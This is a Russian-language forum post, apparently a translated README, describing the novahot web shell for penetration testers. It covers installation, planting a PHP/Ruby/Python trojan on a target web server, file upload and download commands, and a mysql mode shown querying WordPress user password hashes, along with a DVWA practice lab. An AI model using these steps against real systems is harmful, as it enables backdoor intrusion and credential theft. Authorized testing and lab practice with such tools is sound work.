Vlad
Green Team
- 28.01.2019
- 92
- 27
Novahot - это веб-оболочка для тестеров на проникновение. Он реализует API на основе JSON, который может общаться с троянами, написанными на любом языке. По умолчанию он поставляется с троянами, написанными на PHP, рубине и питоне.
Помимо выполнения системных команд, novahot способен эмулировать интерактивные терминалы, в том числе mysql, sqlite3 и psql. Кроме того, novahot реализует "виртуальные команды", которые позволяют загружать, скачивать, редактировать и просматривать удаленные файлы локально с помощью предпочитаемых вами приложений.
Установка
Установите исполняемый файл прямо из npm:
Код:
[sudo] npm install -g novahot
Затем загрузите файл конфигурации:
Код:
novahot config > ~/.novahotrc
Использование
- Просмотр доступных trojan со списком novahot.
- Выберите троян на языке, который подходит для вашей цели, а затем скопируйте его источник в новый файл. (Пример: novahot trojan view basic.php > ~/my-trojan.php)
- Измените контрольный пароль во вновь созданном трояне.
- Загрузите троян в доступное для веб-сайта место на цели.
- Настройте информацию о цели в свойстве цели в ~/.novahotrc.
- Запустите novahot <target>, чтобы открыть оболочку.
Режимы оболочки
Внутри novahot использует "режимы" и "адаптеры" для эмуляции различных интерактивных клиентов, в том числе клиентов mysql, psql (postgres) и sqlite3.
Для смены режима работы novahot необходимо выдать соответствующую команду:
Код:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(Параметры соединения могут быть указаны как JSON при изменении режимов или, в качестве альтернативы, сохранены как данные целевой конфигурации в ~/.novahotrc.)
Например, режим mysql позволяет напрямую выполнять запросы, подобные следующим:
Код:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
Дополнительно существует режим полезной нагрузки, который может быть использован для POST произвольных данных трояна. Дополнительную информацию см. в wiki.
Виртуальные команды
Novahot реализует четыре "виртуальные команды", которые используют встроенную в трояны полезную нагрузку для расширения функциональности оболочки:
скачать
Код:
download <remote-filename> [<local-filename>]
загрузка
Код:
upload <local-filename> [<remote-filename>]
Посмотр
Код:
view <remote-filename> [<local-filename>]
Редактирование
Код:
edit <remote-filename>
Подготовка тестовой среды
Этот репозиторий содержит лабораторную среду, построенную на Vagrant, Docker и Damn Vulnerable Веб-приложении ("DVWA"). Шаги по настройке среды варьируются в зависимости от возможностей вашего физического хоста.
Использование docker-compose
Если на вашем физическом хосте установлены docker-compose, вы можете просто сделать следующее:
- Клон и cd в репозиторий
- Запуск: docker-compose на сайте
Использование vagrant
Если docker не установлен на вашем физическом узле, вы можете использовать Vagrant/Virtualbox для доступа к виртуальной машине с поддержкой докеров:
- Клон и cd в репозиторий
- Предоставление виртуальной машины: vagrant up
- SSH в виртуальную машину: vagrant ssh
- Запустите Docker-контейнер: sudo su; cd /vagrant; docker-compose up
Настройка novahot для лабораторной среды
Укажите следующие строки соединения в файле ~/.novahotrc для подключения клиента novahot к трояну PHP, встроенному в контейнер DVWA:
Код:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
Код:
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
Тогда ты можешь создать оболочку:
Код:
novahot shell dvwa
Дополнительная информация
Дополнительную информацию можно найти в wiki: